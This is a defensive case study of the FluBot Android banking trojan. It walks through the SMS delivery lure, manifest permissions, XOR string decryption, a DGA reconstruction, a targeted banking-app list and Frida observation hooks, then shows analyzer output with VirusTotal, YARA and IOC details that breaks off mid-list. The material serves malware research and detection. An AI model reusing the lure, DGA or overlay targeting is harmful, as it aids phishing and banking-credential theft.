Case Study 1: FluBot — The SMS Banking Trojan

> Note on code samples: Code snippets throughout these case studies are illustrative reconstructions based on public malware research, decompilation reports, and where available, leaked source code. They are not verbatim malware source — they represent documented techniques in readable form for analytical understanding.

Background

FluBot (also tracked as Cabassous) was a sophisticated Android banking trojan that emerged in late 2020 and operated through mid-2022 before a Europol-coordinated takedown in May 2022. It infected devices across Europe, Australia, and Japan, primarily targeting banking credentials.

FluBot is technically notable for three reasons:

  • Self-propagating smishing: after infecting a device, it harvested the victim’s contacts and sent malicious SMS messages to them using the victim’s own phone

  • Domain Generation Algorithm (DGA): its C2 used algorithmically generated domains, making sinkholing difficult

  • Overlay attacks via Accessibility: it rendered fake banking app UI over real apps to steal credentials

Distribution

FluBot arrived via SMS — typically disguised as a package delivery notification from DHL, FedEx, Correos, or similar logistics providers:

DHL: Your package is waiting
for
delivery.
Track it here: http://dhl-tracking-DE[.]xyz/track?
id
=XXXXX

The link led to a fake carrier website that prompted the victim to download an APK (bypassing Play Store):

"To track your package, please install the DHL app"
[
Download APK
]

Static Analysis of FluBot

Manifest key observations:

<!-- FluBot manifest indicators -->
<
uses-permission

android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission

android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission

android:name
=
"android.permission.RECEIVE_SMS"
/>
<
uses-permission

android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission

android:name
=
"android.permission.SYSTEM_ALERT_WINDOW"
/>
<
uses-permission

android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<
uses-permission

android:name
=
"android.permission.REQUEST_INSTALL_PACKAGES"
/>
<!-- The critical component: Accessibility Service -->
<
service

android:name
=
".service.MainService"

android:permission
=
"android.permission.BIND_ACCESSIBILITY_SERVICE"

android:exported
=
"true"
>

<
intent-filter
>

<
action

android:name
=
"android.accessibilityservice.AccessibilityService"
/>

</
intent-filter
>

<
meta-data

android:name
=
"android.accessibilityservice"

android:resource
=
"@xml/accessibility_service_config"
/>
</
service
>
<!-- Boot persistence -->
<
receiver

android:name
=
".receiver.BootReceiver"

android:exported
=
"false"
>

<
intent-filter
>

<
action

android:name
=
"android.intent.action.BOOT_COMPLETED"
/>

<
action

android:name
=
"android.intent.action.MY_PACKAGE_REPLACED"
/>

</
intent-filter
>
</
receiver
>

Obfuscation technique:

FluBot used string encryption — all sensitive strings (C2 URLs, command names, targeted app package names) were stored as encrypted byte arrays and decrypted at runtime:

// Decompiled FluBot string decryption (simplified)
public

static
String
decrypt
(
byte
[] encryptedData
)
{

byte
[] key =
new

byte
[]{
0x4B
,
0x3A
,
0x1F
,
0x7E
,
/* ... */
};

byte
[] result =
new

byte
[encryptedData.length];

for
(
int
i =
0
; i < encryptedData.length; i++) {
result[i] = (
byte
)(encryptedData[i] ^ key[i % key.length]);
}

return

new
String(result, StandardCharsets.UTF_8);
}
// Usage throughout codebase:
// String c2host = decrypt(new byte[]{0x21, 0x5B, 0x4A, ...});

To decrypt all strings statically, extract the XOR key and apply it to all encrypted byte arrays found in the bytecode.

Domain Generation Algorithm:

FluBot’s DGA generated C2 domains using a seed that changed weekly:

# FluBot DGA reconstruction (illustrative — based on published research)
import hashlib
def
flubot_dga
(
seed
:
int
,
tld
: str =
".com"
) ->
list
:
domains = []

for
i in
range
(
30
):
# Generate 30 domains per cycle
hash_input = f
"{seed}{i}"
.
encode
()
h = hashlib.
md5
(hash_input).
hexdigest
()

# Use first 12 chars as domain label
domain = h[:
12
] + tld
domains.
append
(domain)

return
domains
# Example output (seed varies by week):
# ['a4f91b2d3c7e.com', 'b82c5e1a0d4f.com', ...]

This meant that blocking any individual C2 domain was ineffective — the malware would try the next generated domain. Defenders needed to implement the DGA themselves and sinkhole all generated domains.

Targeted overlay list:

FluBot maintained a list of package names for which it would display credential-stealing overlays:

// FluBot targeted banking apps (partial, from decompiled samples)
private

static

final
String[] TARGETED_APPS = {

"com.commerzbank.phototan"
,

"de.comdirect.android"
,

"de.postbank.finanzassistent"
,

"com.ing.diba.mbbr2"
,

"es.bancosantander.apps"
,

"com.bbva.bbvacontigo"
,

"it.bnl.apps.banking"
,

"com.unicredit.mobile.android"
,

"au.com.nab.mobile"
,

"org.westpac.bank"
,

// + cryptocurrency wallets, PayPal, Google Pay
};

When any of these apps moved to the foreground, FluBot used Accessibility permissions to detect it and immediately display a pixel-perfect fake login overlay.

Dynamic Analysis of FluBot

Accessibility Service behavior:

// Frida hook to observe Accessibility events (what FluBot watches)
Java
.
perform
(
function
(
) {

var

AccessibilityService
=
Java
.
use
(
"android.accessibilityservice.AccessibilityService"
);
var
onEventOrig =
AccessibilityService
.
onAccessibilityEvent
.
overload
(
"android.view.accessibility.AccessibilityEvent"
);
onEventOrig.
implementation
=
function
(
event
) {

var
eventType = event.
getEventType
();

var
packageName = event.
getPackageName
();

var
className = event.
getClassName
();

if
(packageName !==
null
) {

console
.
log
(
"[Accessibility Event]"
);

console
.
log
(
" Type : "
+ eventType);

console
.
log
(
" Package : "
+ packageName);

console
.
log
(
" Class : "
+ className);
}
onEventOrig.
call
(
this
, event);
};
});

SMS harvesting and sending:

FluBot used Android’s SmsManager to send smishing messages to the victim’s contacts:

// Hook SMS sending
Java
.
perform
(
function
(
) {

var

SmsManager
=
Java
.
use
(
"android.telephony.SmsManager"
);
var
sendSmsOrig =
SmsManager
.
sendTextMessage
.
overload
(

"java.lang.String"
,
"java.lang.String"
,
"java.lang.String"
,

"android.app.PendingIntent"
,
"android.app.PendingIntent"
);
sendSmsOrig.
implementation
=
function
(
dest, src, text, sent, delivered
) {

console
.
log
(
"[SMS SEND INTERCEPTED]"
);

console
.
log
(
" Destination : "
+ dest);

console
.
log
(
" Text : "
+ text);

// Block the send in analysis environment:

// return; // uncomment to prevent actual SMS

return
sendSmsOrig.
call
(
this
, dest, src, text, sent, delivered);
};
});

FluBot IOCs

NETWORK INDICATORS:
C2 communication: HTTPS POST
to
DGA
-
generated domains (RSA
-
encrypted body)
Port:
443
(HTTPS
primary
),
80
(HTTP fallback)

User
-
Agent: [device
-
specific
,
not
spoofed]
URI
pattern
: varies
by
sample;
/
gate.php
is
a generic PHP C2 panel
pattern
more characteristic
of
Cerberus
-
family panels — do
not
rely
on
this alone

for
FluBot attribution
DGA TLDs observed: .com, .net, .org, .biz
HOST INDICATORS:
Package name
pattern
: FluBot used campaign
-
specific
package names,
typically impersonating delivery apps (DHL, FedEx, Correos)
or
browser
/
utility apps. Do
not
rely
on

static
package names
for
detection
-

check
VirusTotal
or
MalwareBazaar
for
sample
-
specific
package names.
Accessibility Service: present
with
broad event monitoring
Permissions: READ_SMS
+
SEND_SMS
+
READ_CONTACTS
=
smishing capability
BOOT_COMPLETED receiver: persistence across reboots
Fake icon: impersonates DHL, FedEx, Chrome,
or
Play Store
BEHAVIORAL INDICATORS:
Requests Accessibility Service
within

30
seconds
of
install
Requests Device Administrator shortly after
Initiates outbound HTTP POST immediately after Accessibility granted
Attempts SMS send
to

all
contacts
Displays
overlay

when
targeted banking apps
open

Full report with analyzer.py:

Article image

0:41:06 (base) andrey@andrey-lab android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/fluebot.apk
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗
██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝
███████║██████╔╝█████╔╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗
██╔══██║██╔═══╝ ██╔═██╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║
██║ ██║██║ ██║ ██╗ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝
Android APK Analysis Tool | AI-Powered | v2.0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Phase 1: Static Analysis
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ File /home/andrey/git_project/android_malware_analysis/samples/fluebot.apk │
│ Size 4135.8 KB (4,235,044 bytes) │
│ MD5 0f1ed21fff27291645ee8350bc813228 │
│ SHA256 352e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e │
│ Package com.weico.international │
│ App Name DHL │
│ Version 1.5 (1) │
│ SDK min=24 target=28 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase 2: Threat Indicator Scoring
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Risk Level: 🔴 HIGH (79/100) │
│ │
│ [███████████████████████████████░░░░░░░░░] │
│ │
│ Permissions: 100/100 │
│ Behavior: 100/100 │
│ Network: 29/100 │
│ Obfuscation: 10/100 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Threat Indicators
╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮
│ Severity │ Category │ Indicator │ Evidence │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ CRITICAL │ API Behavior │ Suspicious API: Device Admin │ Landroid/app/admin/DevicePolicyManager;… │
│ │ │ │
Landroid
/
app
/
admin
/
DevicePolicyManager
;… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤

HIGH

Permissions

Dangerous

Permission
:
READ_SMS

android
.permission
.READ_SMS

├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤

HIGH

Permissions

Dangerous

Permission
:
RECEIVE_SMS

android
.permission
.RECEIVE_SMS

├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤

HIGH

Permissions

Dangerous

Permission
:
SEND_SMS

android
.permission
.SEND_SMS

├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤

HIGH

API

Behavior

Suspicious

API
:
Dynamic

Code

Ljava
/
lang
/
ClassLoader
;
-
>
loadClass
(in │
│ │ │ Loading │ Lbutterknif │
│ │ │ │ Ljava/lang/ClassLoader;->loadClass (in │
│ │ │ │ Lcom/adobe/ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Accessibility │ Landroid/accessibilityservice/Accessibi… │
│ │ │ Service │ Landroid/accessibilityservice/Accessibi… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Window Overlay │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Lcom/nor │
│ │ │ │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Lcom/nor │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Native Execution │ Ljava/lang/ProcessBuilder;-><init> (in │
│ │ │ │ Lde/blinkt/ │
│ │ │ │ Ljava/lang/ProcessBuilder;->start (in │
│ │ │ │ Lde/blinkt/o │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Network │ Hardcoded IP Addresses │
192.0
.
0.0

│ │ │ │
8.8
.
4.4

├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Overlay/Keylogger Strings │ overlay │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_CONTACTS │
│ │ │ READ_CONTACTS │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: WAKE_LOCK │ android.permission.WAKE_LOCK │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.FOREGROUND_SERVICE │
│ │ │ FOREGROUND_SERVICE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_PHONE_STATE │
│ │ │ READ_PHONE_STATE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Reflection │ Ljava/lang/Class;->forName (in │
│ │ │ │ Lcom/adjust/sdk/Ins │
│ │ │ │ Ljava/lang/reflect/Method;->getName (in │
│ │ │ │ Lcom/adjus │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Location Tracking │ Landroid/location/LocationManager;->get… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Evasion │ Emulator Detection │ qemu │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ LOW │ API Behavior │ Suspicious
API
: Cryptography │ Ljavax/crypto/spec/SecretKeySpec;-><ini… │
│ │ │ │ (in Lcom │
│ │ │ │ Ljavax/crypto/Cipher;->getInstance (in │
│ │ │ │ Lcom/intels │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ INFO │ API Behavior │ Suspicious
API
: Network │ Ljava/net/URL;->openConnection (in │
│ │ │ Communication │ Lcom/adjust/sdk │
│ │ │ │ Ljava/net/URL;->openConnection (in │
│ │ │ │ Lcom/adobe/mark │
╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯
Permissions (
15
total)

Permission Risk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
android.permission.CALL_PHONE MEDIUM
android.permission.FOREGROUND_SERVICE MEDIUM
android.permission.READ_CONTACTS MEDIUM
android.permission.READ_PHONE_STATE MEDIUM
android.permission.READ_SMS HIGH
android.permission.RECEIVE_SMS HIGH
android.permission.SEND_SMS HIGH
android.permission.WAKE_LOCK MEDIUM
android.permission.WRITE_SMS MEDIUM
android.permission.ACCESS_NETWORK_STATE INFO
android.permission.INTERNET INFO
android.permission.KILL_BACKGROUND_PROCESSES INFO
android.permission.QUERY_ALL_PACKAGES INFO
android.permission.REQUEST_DELETE_PACKAGES INFO
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS INFO

Network IOCs

Type Value
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
IP
192.0
.
0.0

IP
8.8
.
4.4

IP
8.8
.
8.8

Domain z.moatads.com
Domain cn-****.log.aliyuncs.com
Domain image.cnamedomain.com
Domain github.com
Domain img.
Domain www.w3.org
Domain xml.org
Domain %s
Domain %sadrevenue.%s
Domain %sapp.%s
Domain %sattr.%s
Domain %sconversions.%s
Domain %sgcdsdk.%s
Domain %simpression.%s
Domain %sinapps.%s
URL
https
:
//z.moatads.com/
URL
http
:
//cn-****.log.aliyuncs.com
URL
http
:
//image.cnamedomain.com
URL
https
:
//github.com/adjust/android_sdk#can-i-trigger-an-event-at-application-laun
URL
http
:
//img.
URL
http
:
//www.w3.org/2000/svg
URL
http
:
//www.w3.org/TR/SVG11/feature#
URL
http
:
//xml.org/sax/properties/lexical-handler
URL
https
:
//%s/%s
URL
https
:
//%s/v3/%s/end
Email nms_reports
@nortonlifelock
.com

Semantic Component Analysis (
2
findings)

Severity Component Capability MITRE Name
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HIGH string Webinject/Overlay Terms T1417 inject
HIGH string Root/Superuser Access T1626 root

Rule-based family
inference
: Unknown (
confidence
:
0%
)
Phase
2
c
: VirusTotal Lookup
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Detection
30
/
76
(
30
malicious,
0
suspicious,
37
clean) │
│ Threat Label trojan.bankbot/bian │
│ Families bankbot, bian, flubot │
│ File Type Android │
│ Common Name
352
E9DABEDE5A893B1A7AF33BD23FB57E84B7606EE0CCDFF1FB08657DD52DB0E.apk │
│ First Seen
2021
-
05
-
31

│ Last Analyzed
2024
-
11
-
29

│ Submissions
7
submissions /
7
unique sources │
│ Tags [malware] [nxdomain] [reflection] [crypto] [android] [runtime-modules] [apk] │
│ VT Link
https
:
//www.virustotal.com/gui/file/352e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

352
E9DABEDE5A893B1A7AF33BD23FB57E84B7606EE0CCDFF1FB08657DD52DB0E.apk | HEUR-Trojan-Banker.AndroidOS.Bian.f-
352
e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e.apk |
352
e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e.apk | unknown | DHL398.apk │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
AV Engine Detections —
30
malicious /
0
suspicious /
76
total
╭──────────────────────┬──────────────────────────────────────────────┬──────────────╮
│ Engine │ Detection Name │ Verdict │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ DrWeb │ Android.BankBot.
9305
│ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ ESET-NOD32 │ a variant of Android/TrojanDropper.Agent.ICZ │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ F-Secure │ Malware.ANDROID/Hqwar.FJNE.Gen │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Fortinet │ Android/Agent.IMA!tr │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Kaspersky │
HEUR
:Trojan-Banker.AndroidOS.Bian.f │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ McAfee │ Artemis!
0
F1ED21FFF27 │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Microsoft │
TrojanDropper
:AndroidOS/FluBot.A!MTB │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Sophos │ Andr/Banker-HAB │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Symantec │ Trojan.Gen.
2
│ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ AhnLab-V3 │ Dropper/Android.FakeApp.
1019269
│ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Alibaba │
TrojanDropper
:Android/FluBot.
8
fda345e │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Avast-Mobile │
Android
:Evo-gen [Trj] │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Avira │ ANDROID/Hqwar.FJNE.Gen │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ BitDefenderFalx │ Android.Trojan.Banker.WT │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ CTX │ apk.trojan.banker │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Cynet │ Malicious (
score
:
99
) │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Ikarus │ Trojan-Banker.AndroidOS.Flubot │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ K7GW │ Trojan (
0057
d4031 ) │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ Lionic │ Trojan.AndroidOS.BankBot.C!c │ MALICIOUS │
├──────────────────────┼──────────────────────────────────────────────┼──────────────┤
│ NANO-Antivirus │ Trojan.Android.BankBot.ivxmkz │ MALICIOUS │
╰──────────────────────┴──────────────────────────────────────────────┴──────────────╯
Sandbox Verdicts

Sandbox Verdict Malware Names
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Dr.Web vxCube MALICIOUS
Phase
3
: YARA Scanning

YARA
:
3

rule
(s) matched
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Rule
: Dropper_DexClassLoader │

Desc
: Dynamic DEX loading - dropper/loader behavior │

Category
: Dropper │

MITRE
: T1544 │

Matched
: DexClassLoader, http, https │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Rule
: NotificationStealer_OTP │

Desc
: Notification listener stealing OTP codes │

Category
: Banking Trojan │

MITRE
: T1412 │

Matched
: getActiveNotifications, otp, OTP │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Rule
: SMSFraud_Joker │

Desc
: Joker/Bread subscription fraud - WebView enrollment + DEX dropper │

Category
: SMS Fraud │

MITRE
: T1582 │

Matched
: DexClassLoader, WebView, loadUrl │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
4
: AI Analysis (Claude/claude-opus-
4
-
6
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Classification
: Banking Trojan |
Family
: Bian (BianLian) |
Confidence
: High │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ This sample is a BianLian banking trojan disguised as a DHL shipping notification app. It steals SMS-based one-time passwords (OTPs), performs overlay/webinject attacks against banking applications,
and
acts as a dropper to load additional malicious payloads at runtime. The
30
/
76
VirusTotal detection rate with │
│ consistent Bian/BankBot/FluBot classification across major AV engines confirms this as a well-known financially-motivated threat targeting mobile banking users. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ The APK presents itself as
"DHL"
(a classic smishing lure) under the package name com.weico.international, which impersonates the legitimate Weico social media client — a deliberate choice to evade casual inspection. The version
1.5
targeting SDK
28
(Android
9
) with minSDK
24
(Android
7
) indicates it targets a │
│ broad swath of devices while leveraging modern APIs. The certificate is a generic self-signed Android debug certificate (CN=Android, O=Android), which is a hallmark of malware — legitimate apps use unique developer signing keys. │
│ │
│ The permission set is a textbook banking trojan
configuration
: READ_SMS + RECEIVE_SMS + SEND_SMS form the SMS interception triad for OTP theft, READ_CONTACTS enables contact list harvesting for smishing propagation (the FluBot/Bian hallmark), READ_PHONE_STATE provides device fingerprinting via IMEI,
and

│ FOREGROUND_SERVICE + WAKE_LOCK ensure persistent background operation. The YARA match for NotificationStealer_OTP confirms a NotificationListenerService-based OTP interception capability, which supplements SMS interception for apps that have migrated to push-based
2
FA. │
│ │
│ The dropper capability is confirmed by the Dropper_DexClassLoader YARA match
and
the presence of ClassLoader.loadClass calls. The SMSFraud_Joker YARA match indicates WebView-based subscription fraud capabilities — BianLian variants are known to bundle multiple monetization modules. The semantic finding of │

'inject'
strings directly maps to webinject/overlay attack templates used to phish banking credentials. The
'root'
string reference combined with the AppsFlyer vzw.os.rooted check indicates root detection logic, likely used to either escalate privileges on rooted devices
or
alter behavior to avoid security │
│ researcher environments. │
│ │
│ All component names (activities, services, receivers) are hex-obfuscated (e.g., p2e0599a8, p494ee8e0), which is characteristic of the BianLian packer/builder. Despite heavy component obfuscation, the obfuscation score is
only

2
, suggesting the bulk of the code is in legitimately-named library packages (Adjust │
│ SDK, Adobe Marketing, MoEngage, AppsFlyer, Norton SDK, TunnelBear SDK, OpenVPN) that serve as decoy/camouflage. The inclusion of Norton ransomware detection classes
and
TunnelBear/SurfEasy VPN code is highly suspicious — these are likely stolen/bundled legitimate SDKs to inflate the APK
and
confuse analysis. │
│ │
│ The C2 infrastructure is
not
statically embedded in plaintext, which is expected for BianLian. The format strings
https
:
//%s/%s and https://%s/v3/%s/end indicate parameterized C2 URL construction fetched dynamically or decrypted at runtime using the SecretKeySpec-based cryptographic operations detected. The │
│ nxdomain tag from VirusTotal suggests previously-active C2 domains have been sinkholed. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ ► SMS interception (READ_SMS, RECEIVE_SMS) for OTP theft │
│ ► SMS sending for smishing propagation │
│ ► Notification listener for push-based OTP interception │
│ ► Overlay/webinject attacks against banking applications │
│ ► Dynamic DEX loading (dropper functionality) │
│ ► Contact list harvesting for worm-like SMS propagation │
│ ► Device fingerprinting (IMEI, phone number, SIM state) │
│ ► Encrypted C2 communication │
│ ► Root detection/environment awareness │
│ ► WebView-based subscription fraud (Joker-like module) │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

ID Technique Tactic Relevance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
T1660 Phishing Initial Access DHL-themed smishing campaign delivering malicious APK via SM
T1417.
002
Input
Capture
: GUI Input Collection Webinject/overlay attacks confirmed by semantic
'inject'
str
Capture
T1636.
004
Protected User
Data
: SMS Collection READ_SMS + RECEIVE_SMS + SEND_SMS permissions for OTP interc
Messages
T1636.
003
Protected User
Data
: Contact Collection READ_CONTACTS permission for harvesting contacts for smishin
List
T1412 Capture SMS Messages Collection YARA NotificationStealer_OTP match + SMS permission triad co
T1544 Ingress Tool Transfer Command
and
Control DexClassLoader dynamic DEX loading confirmed by YARA Dropper
T1626 Abuse Elevation Control Privilege Escalation Root detection strings (vzw.os.rooted) indicate root-aware b
Mechanism
T1582 SMS Control Impact YARA SMSFraud_Joker match indicates WebView-based subscripti
T1406 Obfuscated Files
or
Defense Evasion Hex-obfuscated component names, encrypted C2 config via Secr
Information
T1418 Software Discovery Discovery Device fingerprinting via READ_PHONE_STATE for IMEI collecti

╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ •
sha256
:
352
e9dabede5a893b1a7af33bd23fb57e84b7606ee0ccdff1fb08657dd52db0e │
│ •
md5
:
0
f1ed21fff27291645ee8350bc813228 │
│ •
package
:com.weico.international │
│ •
app_name
:DHL │
│ •
cert_sha256
:a40da80a59d170caa950cf15c18c454d47a39b26989d8b640ecd745ba71bf5dc │
│ •
domain
:z.moatads.com │
│ •
domain
:cn-****.log.aliyuncs.com │
│ •
domain
:image.cnamedomain.com │
│ •
service
:com.weico.international.p494ee8e0 │
│ •
service
:com.weico.international.pfd1df03d │
│ •
service
